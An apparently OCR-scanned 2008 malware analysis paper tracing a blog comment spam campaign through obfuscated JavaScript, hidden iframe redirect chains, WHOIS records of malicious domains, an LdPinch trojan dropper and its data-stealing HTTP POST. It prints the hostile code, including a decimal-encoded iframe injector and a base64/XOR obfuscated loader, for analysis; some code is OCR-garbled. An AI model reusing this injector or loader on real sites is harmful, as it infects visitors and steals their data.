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Abstract — This paper describes the code, behavior and infrastructure of a blog comment spam
attack. The particular blog spam attack explained here uses HT TP/javascript obfuscation and
redirection to pass the victims browser through several websites, ultimately infecting the victims

host using a handful of exploits. This paper will also cover some of the techniques and tools used
in analyzing the attack.

NOTE: Be careful following any links provided in this paper as most of them lead to malicious
websites and could compromise or damage your computer.
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I. INTRODUCTION

Blog comment spam is the act of posting comments to a publicly available blog which have nothing to
do with the blog or post being commented on, and which are designed to direct users to other non-
associated websites. There are several groups on the internet using blog spam in order to make money
with advertising, click throughs, adware installations and malware infections for stealing information.
The search rankings of a site can also be raised the more sites link to it.

The Offensive Computing website (www.offensivecomputing.net) experiences periodic instances of
blog comments spam. After several of these attacks the author decided to analyze what was going on
and provide the information discovered in the form of this paper in order to help people better deal
with this problem.

Il. THE SPAM

The attack generally begins with a normal blogger making a post. At some point the blog spammer
registers an account on the blog using a throw away e-mail address. The attacker then makes a
comment to the post which has links to other websites.

Two attacks were analyzed. There are several components to each attack:

Registered e-mail address to post from

IP address of email domain

IP address the poster came from

The addresses of the various linked domains

In both attacks the poster came from the same e-mail domain with a slightly different name:

e (ff09296@averfame.org
e drff09296@averfame.org

Here is the relevant information regarding the domain averfame.org:

Sponsoring Registrar: EstDomains, Inc. (R1345-LROR)

Registrant Name: Harold Lani

Registrant Organization: China Construction Bank

Registrant Streetl: Mansion, No.31 Guangji Street, Ningbo, 315000, CN
Registrant Email: harold@avereanoia.org

IP Address: 78.108.181.22
descr: UPL Telecom

changed: serge@upl.cz 20071227
address: UPL TELECOM s.r.0
address: Vinohradska 184/2396
address: Prague 3,130 52
address: Czech Republic
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The poster came from the same IP address both times. (212.227.118.40)

Canonical name: infong113.kundenserver.de.
Domain: kundenserver.de
Name: Achim Weiss
Address: Erbprinzenstr. 4 - 12
Pcode: 76133

City: Karlsruhe

Country: DE

role: Schlund NCC

address: 1&1 Internet AG
address: Brauerstrasse 48
address: D-76135 Karlsruhe
address: Germany

e-mail: noc@oneandone.net

Already we are starting to see the complexity involved in these attacks. With three separate countries
being involved tracking and shutting down the offending sites becomes more difficult. The fact that the
domain is Chinese owned, hosted in Czechoslovakia and the attacker is hitting us from a German site
means that we will have to contact multiple ISP’s all speaking different languages to try to explain the
problem. The next attack can easily change up the location of each piece of the attack to make our
blocking of them even less effective. The spammers make it even more challenging by making the post
in Italian, further confusing things and obfuscating the source of the attack. Here is an example of one
of the posts:

£9f195616015330be85dfe00e93c4fc3

The Kinetoscope is an early motion picture exhibition device. Rolling Stones Testi, Libreria Blocchi Autocad.
Though not a movie projector it was designed for films to be viewed individually through the window of a cabinet
housing its components the Kinetoscope video porno scaricare gratis, Scarica Gratis Msn Live Spaces. introduced
the basic approach that would become the standard for all cinematic projection before the advent of video: cavalli
da salto, Croccantino Gelato. it creates the illusion of movement by conveying a strip of perforated film bearing
sequential images over a light source with a high speed shutter. Apt Lombardia, Sherk Cartone Animato. First
described in conceptual terms by U.S. inventor Thomas Edison in 1888, video porno com, foto zero assoluto. it
was largely developed by his employee William Kennedy Laurie Dickson between 1889 and 1892. Rolling Stones
Testi, video hard casalinga gratis. that Desiderius Erasmus nicknamed his academic opponent Jacobus video
casalinghe gratis, villaggio vacanza corsica. In April 1894, the first commercial exhibition of motion pictures in
history was given in New York City, using ten Kinetoscopes. esercizio svolti elettrotecnica, Falze trevignano.
Instrumental to the birth of American movie culture, the Kinetoscope also had a major impact in Europe; video
porno con ragazzine, video porno com. its influence abroad was magnified by Edison's decision not to seek
international patents on the device, foto privata donna incinta nuda, video clitoride. facilitating numerous
imitations of and improvements on the technology.
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The URL’s linked to by the comments listed in order are :

mir-t.ru/files/rolling_stones testi/rolling stones testi.htm
mebelionika.ru/download/site/libreria_blocchi_autocad/page libreria blocchi autocad.htm
mebelionika.ru/download/scarica_gratis msn_live spaces/listing/page scarica gratis msn_live spaces.html
dich.com.ua/forum/video _porno_scaricare gratis/video porno scaricare gratis.htm
mir-t.ru/files/cavalli_da salto.html

dich.com.ua/forum/croccantino _gelato.html

mir-t.ru/files/apt _lombardia.htm

mebelionika.ru/download/index_sherk cartone animato.htm

dich.com.ua/forum/video _porno _com/page video porno_com.htm
mebelionika.ru/download/foto_zero assoluto/foto zero assoluto.htm
mir-t.ru/files/rolling_stones testi/rolling stones testi.htm

dich.com.ua/forum/video _hard casalinga gratis/video hard casalinga gratis.htm
mir-t.ru/files/video casalinghe gratis/video casalinghe gratis.htm
mebelionika.ru/download/villaggio vacanza corsica/comp/page villaggio vacanza corsica.htm
dich.com.ua/forum/esercizio svolti elettrotecnica/esercizio svolti elettrotecnica.htm
mebelionika.ru/download/falze trevignano/falze trevignano.htm

mir-t.ru/files/video porno con ragazzine/page video porno con ragazzine.html
dich.com.ua/forum/video porno com/page video porno _com.htm

mir-t.ru/files/foto privata donna incinta nuda/style/foto privata donna incinta_nuda.html
mebelionika.ru/download/video clitoride/index/index video clitoride.html

The second attack contained a different set of URLs with similar content.

www.daolao.ru/Confucius/Pound/it/world/negozi_abbigliamento _ravenna/negozi_abbigliamento ravenna.htm
www.economypmr.org/giic/video leshica_asiatica_gratis/world/video lesbica asiatica_gratis.htm
www.economypmr.org/giic/assicurazione su_imbarcazioni/to/assicurazione su_imbarcazioni.html
www.daolao.ru/Confucius/Pound/it/hotel provincia_di_rovigo/verso/page hotel provincia di_rovigo.html
www.economy-pmr.org/giic/antivirus_scansione_online.html
www.daolao.ru/Confucius/Pound/it/montaggio_gru_edilizia.htm
www.economy-pmr.org/giic/world/magnolia_negrita/index_magnolia_negrita.html
www.daolao.ru/Confucius/Pound/it/edilizia_pubblica/index_edilizia pubblica.html
www.economy-pmr.org/giic/antivirus_scansione_online.html
www.daolao.ru/Confucius/Pound/it/ater_provincia _roma/page ater provincia _roma.html
www.economypmr.org/giic/incontro_privati_annuncio personali/top/incontro_privati_annuncio_personali.htm
www.daolao.ru/Confucius/Pound/it/albergo_hotel avellino/albergo hotel avellino.htm
www.economypmr.org/giic/city/cucina_cinese ricetta/index_cucina cinese ricetta.html
www.daolao.ru/Confucius/Pound/it/test colesterolo.html
www.economypmr.org/giic/news/annuncio_hard_sicilia/annuncio_hard_sicilia.htm
www.daolao.ru/Confucius/Pound/it/istruzioni_ricarica cartuccia_epson/nix/page istruzioni ricarica cartuccia epson.ht
ml

www.economy-pmr.org/giic/agriturismo_quidonia/italia/agriturismo_guidonia.html
www.daolao.ru/Confucius/Pound/it/lol/video _sesso_scaricare gratis/index video sesso_scaricare gratis.htm
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http://www.daolao.ru/Confucius/Pound/it/hotel_provincia_di_rovigo/verso/page_hotel_provincia_di_rovigo.html
http://www.economy-pmr.org/giic/antivirus_scansione_online.html
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http://www.daolao.ru/Confucius/Pound/it/albergo_hotel_avellino/albergo_hotel_avellino.htm
http://www.economypmr.org/giic/city/cucina_cinese_ricetta/index_cucina_cinese_ricetta.html
http://www.daolao.ru/Confucius/Pound/it/test_colesterolo.html
http://www.economypmr.org/giic/news/annuncio_hard_sicilia/annuncio_hard_sicilia.htm
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There are really only a few domains in use here:

MIR-T.RU

DICH.COM.UA

DOMAIN OWNER INFO
ip addr: 89.108.95.149
person: Aleksandr A Artemyev

e-mail: sahasaha@bk.ru
registrar: RUCENTER-REG-RIPN

NETWORK OWNER INFO

netname: AGAVACOMPANY

address: AGAVA JSC

address: B. Novodmitrovskaya str., 36/4, 127015
Moscow, Russia

phone: +7 495 4081790

DOMAIN OWNER INFO
ip addr: 217.20.175.128
person: Oleg Teteryatnik
e-mail: mazai@tnmk.com

NETWORK OWNER INFO

address: WNet ISP

address: Pochayninska str. 25/49, off. 30, 03148, Ukraine,
Kiev

phone: +38 067 786 96 12

changed: gusak@wnet.ua 20060731

MEBELIONIKA.RU

DAOLAO.RU

DOMAIN OWNER INFO

ip addr: 217.16.16.145

org: "Impuls - Plus" Ltd.
e-mail:info@mebelionika.ru
e-mail:mebelionika@gmail.com

NETWORK OWNER INFO

changed: caspy@masterhost.ru 20030507

registrar: RUCENTER-REG-RIPN

address: Lyalin lane 3, bld 3, 105062 Moscow, Russia
phone: +7 495 7729720

DOMAIN OWNER INFO
ip addr: 217.16.16.153
phone: +7 095 0000000

e-mail: yukan@tsinet.ru

NETWORK OWNER INFO
changed:caspy@masterhost.ru 20030507

address: Lyalin lane 3, bld 3,105062 Moscow, Russia
phone: +7 495 7729720

ECONOMY-PMR.ORG

DOMAIN OWNER INFO

ip addr: 91.196.0.85

Registrant;:Name:Makruha Igor N.

Registrant: Organization:Economy

Registrant: Streetl:Tiraspol, Sverdlova, MD (Moldova)
Registrant: Phone:+373.93224
Registrant:Email:pom@economy.idknet.com

Admin Name: Makruha Igor N.

NETWORK OWNER INFO
descr:HostBizUa Data Center
notify: msil@hostbizua.com
address: Polarna st.15, 3 fw.
address: Ukraine, 04201 Kyiv
phone: +380(44) 5017659
e-mail: support@hostbizua.com
person:Valentin Dobrovolsky
address: Ukraine, Kyiv
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It turns out the final domain on the above list (economy-pmr.org) belongs to the Moldovan government
and is a website regarding the country’s economy. It appears this site hack been compromised by the
blog spammers and is in use to serve up the spam and malware (hopefully) unbeknownst to the sites
owners. This paper will focus on a subset of the domains and attacks in use. If a user were to follow
any of the links they would be directed to a website much like Fig. 1:
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File Edit  Wiew NGEdel Eookmarks Tools  Help

e > @
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albergo hotel avellino

Avere poco sale nella zucca

albergo hotel avellino

Hotel avellino elenco hotel avellino prenotazione hotel

Il portale del turismo in campania, hotel avellino elenco hotel avellino prenotazione hotel
avellino vacanze avellino. Avellino hotel avellino alberghi avellino prenotazione hotel

Per visualizzare solo gli hotel a avellino che hanno camere disponibili e prenotabili seleziona le
date di arrivo e partenza dal box di ricerca sulla Pasqua hotel avellino, italia alberghi avelling,
last minute

Hotel avellino confronta i prezzi e prenota on line il tuo albergo a avellino. Campania tour hotel
alberghi avellino

Guida agli alberghi di avellino e provincia, informazioni utili per contattarli e
raggiungerli.Alberghi ad avellino hotel ad avellino darmire ad avellino hatel

Hotel alberghi avellino provincia in questa pagina puoi trovare alberghi, hotel e strutture
ricettive di varie tipologie e categorie presenti nella Hotel de la ville

Hotel de la ville via palatucci 20, 83100 avelling, italy tel +39 0825 730911 fax +39 0825 720921
email info@hdy.av.it.Avellino hotel, avellino alberghi, avellino hotels, elenco hotel

Haotel avelling, alberghi avelling, hotels avellino, previsioni meteo avellino, last minute hotel,
saperviaggiare. it elenco hotel ed alberghi in avellino.Hotel provincia avellino / alberghi
provincia avelling

Elenco ed informazioni su tutti gli hotel in provincia di avellino. degli hotel travi i servizi, i
prezzi, il sito, le promozioni ecc.Alberghi avellino alberghi gli alberghi di avellino tutti gli
Cerca gli alberghi di avelling, su ept trovi tutti gli alberghi della provincia di avellino il solofra
palace hotel resort una raffinata oasi verde. hotel avelline | alberghi avelline

Alberghi hotel avellino in questa pagina troverete la lista completa di tutti gli alberghi, hotel,
motel, agriturismo, affittacamere, bed breakfast nella Hotel avellino hotel civita hotel civita
atripalda [ avellino
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Fig. 1

The various links lead to websites which have essentially the same code on them. Most of the code is
standard HTML, style sheet information for formatting the page, links to other similar pages. The sites
are designed to look like fairly innocuous blogs and the content seems to be pornography related text.

There are links provided for the user to post their own comments but these links don’t actually go to
comment posting forms. They actually just take the user to another page of similar content. The fact
that a domain has many links to a site, along with the fact that the blog spammers are probably hitting
many domains at once, can raise the spammers search ranking which in turn allows them to make more
money and drive more users to their malicious sites.

I11. THE INITIAL CODE



Along with the normal HTML are several sections of interesting javascript code. Each section will be
explained.

This piece of code ensures that text browsers such as wget or links won’t see the links. Analysts and
other tools often use text browsers to grab content suspected of being malicious. This code will
obfuscate what is going on in these cases.

<!-- skip links for text browsers -->
<span id='skiplinks' style='display:none;'>

This section decodes the encoded URL’s to redirect the user to. It starts off defining itself as javascript
then does some replacement regular expressions and returns the decoded results.

<script type="text/javascript">

(function () {
var Counter = (function (name)
{

var cooks = document.cookie.split(";"):;

for (var 1 = 0; 1 < cooks.length; i++) {
var cook = cooks[i].split("=");
if (cook[0].replace(/"\s+/, "").replace(/\s+$/,

"") == name) {

return decodeURIComponent (cook[1]);
}
}
return 0;
}) ("Counterxr") ;

The next section of code sets two variables. Following the variables is a section of numbers. These
numbers are actually decimal encoded URLS. For example, on the ASCII table 104 = h, 116 =
t, 112 = p forming http, etc. This will help hide the URLS from people searching through the
code as well as from IDS’s looking for javascript URL redirection type traffic. The browser will
decode and use these obfuscated URLSs with no problem but over the wire it will just look like decimal
numbers.

var p = (

String.fromCharCode.apply(window, [104, 116, 116, 112, 58, 47,
47, 109, 121, 98, 101, 115, 116, 99, 111, 117, 110, 116, 101, 114, 46, 110,
101, 116, 47, 112, 114, 111, 103, 115, 116, 97, 116, 115, 47, 105, 110, 100,
101, 120, 46, 112, 104, 112, 63, 85, 110, 105, 113, 67, 111, 111, 107, 611])
+

Counter + "&referer=" + encodeURIComponent (document.referrer)
+

String.fromCharCode.apply(window, [38, 100, 114, 119, 61, 104,
116, 116, 112, 37, 51, 65, 37, 50, 70, 37, 50, 70, 119, 119, 119, 46, 100,
%7, 111, 108, 97, 111, 46, 114, 117, 37, 50, 70, 67, 111, 110, 102, 117, 99,
105, 1117, 115, 37, 50, 70, 80, 111, 117, 110, 100, 37, 50, 70, 105, 116])

Each of these variables decode to the following URLSs:



http://mybestcounter.net/progstats/index.php?UnigCook=

&drw=http%3A%2F%2Fwww.daolao.ru%2FConfucius%2FPound%2Fit&drw=http://www.da
olao.ru/Confucius/Pound/it

The next section contains further obfuscation. This piece of code sets up an iframe in order to cause the
browser to load the previously discussed encoded URLs. The iframe will be a 1 pixel by 1 pixel
essentially invisible frame which the user will never see but which will get loaded. The programmer
took the further step of breaking up the words iframe, src, marginwidth, marginheight, frameborder
into multiple variables and multiple lines. Doing this makes it even more difficult to detect in a similar
manner as the decimal encoding previously discussed.

) ;

var x = "rame";
var y = "i" 4+ MfU.
4
var el = document.createElement(y + x);

el.setAttribute ("width", 1);
el.setAttribute ("height", 1);
el.setAttribute ("s" + "rc", p);
el.setAttribute ("marg" + "inwidth", 0);
el.setAttribute ("marg" + "inheight", 0);
el.setAttribute ("scr" + "olling", "no");
el.setAttribute ("f" + "rameborder", "0");

—~ o~~~ o~ —~

The final section of javascript code finishes setting up the page and handles any remaining needs to
launch the attack.

if (document.body) {
document .body.appendChild (el) ;
} else {
if (window.addEventListener) {
window.addEventListener ("load", (function (e)
{document.body.appendChild(el);}), false);
} else if (window.attachEvent) {
window.attachEvent ("onload", (function (e)
{document.body.appendChild(el);}), false);
} else {
window.onload = (function (e)
{document.body.appendChild(el) ;});
}
}

document.cookie = "Counter=1l; path=/; expires=" + ((new Date ((new
Date()) .getTime () + 86400000)) .toGMTString()) + ';';
IDNON
</script>

IV. THE REDIRECTIONS


http://mybestcounter.net/progstats/index.php?UniqCook
../Local%20Settings/Local%20Settings/Application%20Data/Microsoft/Word/http%3A%2F%2Fwww.daolao.ru%2FConfucius%2FPound%2Fit&drw=http:/www.daolao.ru/Confucius/Pound/it
../Local%20Settings/Local%20Settings/Application%20Data/Microsoft/Word/http%3A%2F%2Fwww.daolao.ru%2FConfucius%2FPound%2Fit&drw=http:/www.daolao.ru/Confucius/Pound/it

Once this code is executed a series of events takes place. The attack chains several redirects together in
order to deliver a maximum number of exploitation opportunities to the victim. In this case seven total
sites end up being hit by the victim.

First the obfuscated javascript sends the user to
http://mybestcounter.net/progstats/index.php?UnigCook=1&referer=&drw=http%3A%2F
%2Fwww.daolao.ru%2FConfucius%2FPound%?2Fit by way of a HTTP 302 “Moved Temporarily”
Error code. This code tells the browser that the content being sought has temporarily been moved to a
new location and the browser automatically follows the instructions to the new site. In this case the site
is updateonline.cc.

The packet capture for this transaction is as follows:

BROWSER SENDS
GET
/progstats/index.php?UnigCook=0&referer=drw=http%$3A%2F%2Fwww.daolao.ru%2FCo
nfuciu
s%2FPound%2Fit HTTP/1.1
Host: mybestcounter.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3)
Gecko/20070309 Firefox/2.0.0.3
Accept:
text/xml, application/xml, application/xhtml+xml, text/html;g=0.9,text/plain;qg=
0.8,1im
age/png, */*;gq=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: IS0-8859-1,utf-8;9g=0.7,*;g=0.7
Keep-Alive: 300
Connection: keep-alive
Referer:
http://www.daolao.ru/Confucius/Pound/it/albergo hotel avellino/albergo hotel
avellino.htm

SERVER RESPONDS
HTTP/1.1 302 Found
Date: Sat, 15 Mar 2008 00:29:35 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.1
X-Powered-By: PHP/5.2.1
Set-Cookie: CounterUnig=1l; expires=Sun, 16-Mar-2008 00:29:35 GMT
Location: http://updateonline.cc/progframe.php?dopl=1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
0

The updateonline.cc GET has links to the next four redirected web pages inside of simple,
unobfuscated iframes. The page the browser gets sent to on updateonline.cc is called
progrfram.php and its source is very simple.


http://mybestcounter.net/progstats/index.php?UniqCook=1&referer=&drw=http%3A%2F
http://mybestcounter.net/progstats/index.php?UniqCook=1&referer=&drw=http%3A%2F
http://www.daolao.ru/Confucius/Pound/it/albergo_hotel_avellino/albergo_hotel_avellino.htm
http://www.daolao.ru/Confucius/Pound/it/albergo_hotel_avellino/albergo_hotel_avellino.htm

Updateonline.cc source code:

iframe WIDTH=1 HEIGHT=1 src="http://x-
globstat.cc/adsview/a63?tip=user"></iframe>

<iframe src="http://bid-assist.org/inst/index.php?id=002" width=1
height=1></iframe>

<iframe src="http://www.climbingthewall.info/d/wm017/counter2l.php"
width=1 height=1></iframe>

<iframe src=http://prolnx.info/1c1008.html width=2 height=2
style=display:none></iframe>http://prolnx.info/1c1008.html

©) Tamper Data - Ongoing requests i =101 x|
Start Tanper  Stop Tamper  Clear Options  Halp
Fiter | Show Al ]

Renavchents Mo-ffoxz 0.0.33em0zver=1.8.1.3 2007‘030919&«wsm...

htmllsbooode

781ms  781ms 788

118 S%4ms  S%4ms 1 GET hetp:ffmybestcounter. ne(lproq%!okﬂhdex php7UnigCock=18referer=8udrw=http % 3A%2F % 2Fwww.d80la0,ru%2FC.., LOAD_DOCLME...
17:18:20,827 74453 ms 74453 ms -1 GET + bekp:ffvwe. dackeo.rujConfuckisiPoundfitifeed-ico.png LOAD_ONLY IF...
17:19:35.265 219ms  219ms 6 GET r*tp:umdake«he.«/pmavm.wmopn-l LOAD_DOCLME. ..
17:21:04.327 48578 ms 48578 ms -1 GET hetp:fix-globstat.ccladsview/ab3 tpeuser LOAD_DOCLME...
17:21:20.350 32562 ms 32562ms 397  GET mp Ilb-d -aseist orglinet findex. phpTid=002 LOAD_DOCLME....
17:21:38.687 14265ms 14265ms 181  GET il.infof 017jcounter21.php LOAD_DOCLME...
17:21:52.690 328ms  32Bms 4985 GET textjhtml htp: fpeoka.infofk 1008, heml LOAD_DOCLME....
Request Header Name | Requast Haader Vahue | || _resporss Header Name Response Headsr Valus |
Host www.daclzo.ry Status Net Modified - 304
Usar-Agant Mozilla/S.0 (Windows; U; Windows NT S.1; en-US; er.B.LB)G«ko/ZCOW Date 5&, 15 Mar 2003 01:16:33 GMT
Accept et xml, apphic ation) e, spplic. el 4l il q=0.9,taxt /i v C keep-akive
Accept-Language en-us,en;q=0.5 Keep-Alve timeout=5
Accept-Encoding geip, deflate Server Apache
Accept-Charset 150-8859-1,u4f-8;q=0.7,%;q=0.7 Etag *1a2569-43d8-47d9a333"
Keep-Alive 300 Expires S&, 15 Mar 2003 01:16:33 GMT
Cornection keep-aive Cache-Control max-age=0
Cockie Courrer=1
1f-Modifiad-Since Thu, 13 Mar 2008 21:57:07 GMT
1F-None-Match *1a2569-4343-47d3a333"

Fig. 2 (Multiple site redirections)

Tamper Popup

Fig. 3 (

~ http:/fupdateonline. cc/progframe. phprdopl=1
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&ccept I textfxml, application)’xml, application)’xhtrml+:xm
Accept-Language I en-us,en;q=0.5
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updateonline.cc redirection)



http://x-globstat.cc/adsview/a63?tip=user
http://x-globstat.cc/adsview/a63?tip=user
http://bid-assist.org/inst/index.php?id=002
http://www.climbingthewall.info/d/wm017/counter21.php
http://prolnx.info/lc1008.html

Domain info for each of the sites:

MYBESTCOUNTER.NET

X-GLOBSTAT.CC

DOMAIN INFO:

IP Address: 78.108.181.22

Scott Dobson (angry.scots@yahoo.com)
Huangpu Road, 20 Shanghai,200080, CN
Tel. +86.2163248383

NETBLOCK INFO:

descr: UPL Telecom

changed: serge@upl.cz 20071227

person: Serge Matveev

address: UPL TELECOM s.r.0

address: Vinohradska 184/2396, Prague 3,130 52, Czech
Republic

phone: +426 267 132 361

DOMAIN INFO:

IP Address : 124.217.230.178

PrivacyProtect.org

Domain Admin (contact@privacyprotect.org)
P.O. Box 97

All Postal Mails Rejected, visit Privacyprotect.org
Moergestel null,5066 ZH, NL

Tel. +45.36946676

NETBLOCK INFO:
netname: PIRADIUS-NET
e-mail: abuse@piradius.net
address: PIRADIUS NET
address: 14 Robinson Road #13-00
address: Far East Finance Building
address: Singapore 048545

phone: +603 8318 6932

BID-ASSIST.ORG

WWW.CLIMBINGTHEWALL.INFO

DOMAIN INFO:

IP Address: 202.83.212.250

Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97

Registrant Street2: All Postal Mails Rejected, visit
Privacyprotect.org

Registrant City:Moergestel, 5066 ZH, Country:NL
Registrant Phone:+45.36946676

Registrant Email:contact@privacyprotect.org

NETBLOCK INFO:

netname: SINGTEL-HK

descr: Singtel Hong Kong Limited

descr: Unit 2519-2530

descr: 11 On Lai Street, Corporation Park, Shatin HK
e-mail: expanhk@singtel.com

address: 28/F, Mega-iAdvantage Building,, ChaiWan
phone: +852-3105-1688

changed: mingkit@singtel.com 20030612

person: Ghazali Maon

address: Telepark, 5 Tampines Central 6, #07-03, Singapore

529482
phone: +65-7808001
e-mail: ghaz@singtel.com

DOMAIN INFO:

IP Address: 85.255.113.166

Registrant Organization:Geo

Registrant Street1:123 Street, Moscow, RU, 121443
Registrant Phone:+7.4158875

Registrant Email:thisisgeo@yahoo.com

NETBLOCK INFO:

Netname: UkrTeleGroup

descr: UkrTeleGroup Ltd.

mnt-by: UKRTELE-MNT

changed: staff@ukrtelegroup.com.ua 20071101
org-name: UkrTeleGroup Ltd.

Addr: Mechnikova 58/5, 65029 Odessa, Ukraine
phone: +380487311011

e-mail: staff@ukrtelegroup.com.ua

person: Andrew Sotov

address: Mechnikova 58/5 65029 Odessa




V. THE MALWARE

The two attacks monitored varied in a few different ways but the initial post, javascript obfuscation
and many of the domains involved remained the same. Each attack used a different set of malware.

a.) The First Attack Version

The first incarnation of the attack contained very similar blog HTML to the second version of the
attack but it contained a direct and visible link to a Trojan.

<center><b><a href="http://updateonline.cc/pornocrawler.exe">DOWNLOAD PORNO
CRAWLER (9300 Videos, 16000Fotos) - 2.8 Mb</a></b></center>

<img src="http://dich.com.ua/forum/it/screen.gif"><br>

<center><b><a href="http://updateonline.cc/pornocrawler.exe">DOWNLOAD PORNO
CRAWLER (9300 Videos, 16000Fotos) - 2.8 Mb</a></b></center></td>

And it also contained an embedded shockwave flash object, but omitted the javascript obfuscation.

<embed
src="http://pornotube.com/player/v.swf?v=bT0zMTMyNDEMYWI1wO2xvY2FsPWZhbHN1JmF
tcDt1PTEY" align=right loop="false" quality="high" width="480" height="400"
name="pornoPlayer" allowfullscreen="true" allowScriptAccess="always"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer" /></td>

Pornocrawler.exe drops a custom packed executable named flashget.exe which is custom packed and is
identified by several anti-virus products as Trojan LdPinch a well known Trojan that posts keystrokes,
registry stored passwords anod other information to a Russian website.

. Antivir - - TR/Dropper.Gen

. BitDefender - - Dropped:Trojan.PWS.LdPinch.TGB
. DrWeb - - Trojan.MulDrop.10866

. F-Secure - - LdPinch.genl

o Ikarus - - Generic.LdPinchl

o Kaspersky - - Trojan-PSW.Win32.LdPinch.fbw
. Microsoft - - TrojanDropper:Win32/Small

. Norman - - LdPinch.genl

. Panda - - Suspicious file

. Prevxl - - Trojan.Gorhax

. Webwasher-Gateway - - Trojan.Dropper.Gen

It appears to extract and install a pornography searching and viewing application called PornoCrawler
but in the background it is making network connections. It performs DNS lookups to www.ya.ru and
www.updateonline.cc, makes a connection to www.gzip.cjb.net and then it does an HTTP POST:

POST /winupdate/newgate/gate.php HTTP/1.0

Host: www.updateonline.cc

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
InfoPath.2; .NET CLR 2.0.50727; InfoPath.1l)

Content-Length: 14390



http://updateonline.cc/pornocrawler.exe
http://dich.com.ua/forum/it/screen.gif
http://updateonline.cc/pornocrawler.exe
http://pornotube.com/player/v.swf?v=bT0zMTMyNDEmYW1wO2xvY2FsPWZhbHNlJmFtcDt1PTEy
http://pornotube.com/player/v.swf?v=bT0zMTMyNDEmYW1wO2xvY2FsPWZhbHNlJmFtcDt1PTEy
http://www.macromedia.com/go/getflashplayer
http://www.ya.ru/
http://www.updateonline.cc/
http://www.qzip.cjb.net/
http://www.updateonline.cc/

The data that is sent to the www.updateonline.cc website from the Trojan process via this HTTP
POST is base 64 encoded:

a=roots982@mail.ru333&b=Pinch reporté&d=report.bin&c=UDNNTAAAAAARIAAAEQAAAAAA
AA

The data was decoded using a standard Base64 decoder and what was found was that
the Trojan sends a collection of information about the victim machine including
install software, hostname, domain name (if on a domain), and internal IP address.

The PornoCrawler makes connections to a series of pornography based websites as
well as www.pornocrawler.ws in order to acquire content. A few examples:

GET / HTTP/1.1

Host: www.bitchgallery.com
Connection: close

Accept: */*

GET /main.htm HTTP/1.1

Host: dirty.little-bitch.com
Connection: close

Accept: */*

b.) The Second Attack Version

The second attack hinges on the multiple iframe delivery of the progframe.php page
on www.updateonline.cc. As stated earlier one of these iframes performs an HTTP
GET of www.prolnx.info/1c1008.html.

THE CLIENT SENDS:

GET /1cl008.html HTTP/1.1

Host: www.prolnx.info

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3)
Gecko/20070309 Firefox/2.0.0.3

Accept:

text/xml,application/xml, application/xhtml+xml, text/html;g=0.9,text/plain;g=
0.8, image/png, */*;g=0.5

Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;g=0.7

Keep-Alive: 300

Connection: keep-alive



http://www.updateonline.cc/
mailto:a=roots982@mail.ru333&b=Pinch_report&d=report.bin&c=UDNNTAAAAAARIAAAEQAAAAAAAA
mailto:a=roots982@mail.ru333&b=Pinch_report&d=report.bin&c=UDNNTAAAAAARIAAAEQAAAAAAAA
http://www.pornocrawler.ws/
http://www.updateonline.cc/
http://www.prolnx.info/lc1008.html
http://www.prolnx.info/

THE SERVER RESPONDS

HTTP/1.1 200 OK

Date: Thu, 20 Mar 2008 16:51:19 GMT
Server: Apache/2.2.4 (EL4)
X-Powered-By: PHP/5.2.3
Content-Encoding: gzip

Vary: Accept-Encoding
Content-Length: 5083

Connection: close

Content-Type: text/html

........... Yko.:z.~~E:@.3..DJ..."'3.I..X7TR.....=-9.-
X.Pooo... sv[..6@.](.|/..zn/...58.17../.K..£..014\ ...zl .~ Xuueiuunn i

The source code to I1c1008.html is:

<html><head><title>404 Not Found</title>

<style>

* {CURSOR: url ("anr/usl008.anr")}

</style>

</head>

<body><hl>Not Found</hl>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache/2.2.4 (EL4) Server at www.prolnx.info Port 80</address>
<script language="JavaScript">

function QfPViCa (ii) {var
ks="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/=";var
oo="";var cl,c2,c3;var el,e2,e3,ed;var
i=0;do{el=ks.indexOf (ii.charAt (i++) ) ;e2=ks.indexOf (ii.charAt (i++)); ;e3=ks.ind
exOf (ii.charAt (i++) ) ;ed=ks.indexOf (ii.charAt (i++)) ;cl=(el<2) | (e2>>4) ;c2=( (e
2&15)<<4) | (e3>>2);c3=((e3&3)<<6) |ed;oo=00+String.fromCharCode (cl);if (e3!=64)
{oo=00+String.fromCharCode (c2);}if (ed!=64) {oo=0c0+String.fromCharCode (c3);}}lw
hile(i<ii.length) ;return oo;}

function gpY¥Yrz(al,bl){var i; var o="";if (!bl) return

document.write (qpYrz (QfPViCa (al),arguments.callee.toString () .replace(/["a-
zA-720-9]1/g,"")));for (i=0; i<al.length;

i++) {o+=String.fromCharCode (al.charCodeAt (i%al.length) "bl.charCodeAt (i%bl.1le
ngth) ) ; }return o;}

apY¥rz ('WhQeExgMG04SHzZ0XRwBfC1lwXD1wKGgABRHEKIAIwXWBkUHACJIDglVBQAHEX8GVEVEFBhkIB
hJsV3AbKBoyImMoI jNLUUoPBAMPBBhSb1kQBiVUGW1TMysCFQ5fX00FEzdkOgUUBRODGURJIDVACA
hsGEw1lUTRkVBAg9BBObHx1hSAUXJIQoWW2 t HAhpBMRASQwolHAWTF1dvBwEcDA1 SFgUEHDABBQktX
UkZOwgKDRIZDRWRWhQeA JRWKEAQABADC18SPBobF1gNQ1ZcUk4DEx5HSOUGVBQEARKGTQcDChADE
SOVBWFLXUJKejAUUjUIMyMEJ

. snip . . .

zV2DyoGFEMEUggbCEdHT3keaxFmWUoHDCEdAh1QbQ==", null);

</script>

(Note: The page 1c1008.html has been upgraded to include a third attack since the above request now
includes an iframe at the bottom of the page:

<iframe width=2 height=2 src=http://lntop.info/13/2id=61008></iframe>)


http://www.prolnx.info/

